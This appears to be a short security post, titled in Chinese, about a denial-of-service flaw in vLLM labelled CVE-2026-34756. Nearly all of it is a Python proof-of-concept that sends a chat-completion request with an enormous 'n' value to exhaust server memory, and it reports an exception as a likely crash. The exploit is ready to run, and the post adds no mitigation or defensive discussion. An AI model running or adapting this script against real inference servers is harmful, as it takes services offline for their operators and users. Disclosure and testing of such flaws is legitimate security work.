CVE-2026-34756 vLLM拒绝服务漏洞

import requests def exploit_vllm_dos(target_url): """ PoC for CVE-2026-34756 Sends a request with a massive 'n' parameter to trigger OOM. """ url = f"{target_url}/v1/chat/completions" headers = { "Content-Type": "application/json" } # Payload with astronomical 'n' value # This bypasses validation and causes OOM payload = { "model": "any-model", "messages": [{"role": "user", "content": "test"}], "n": 999999999999 # Trigger the vulnerability } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Exploit likely successful (Server crashed/OOM): {e}") if __name__ == "__main__": # Replace with actual target target = "http://localhost:8000" exploit_vllm_dos(target)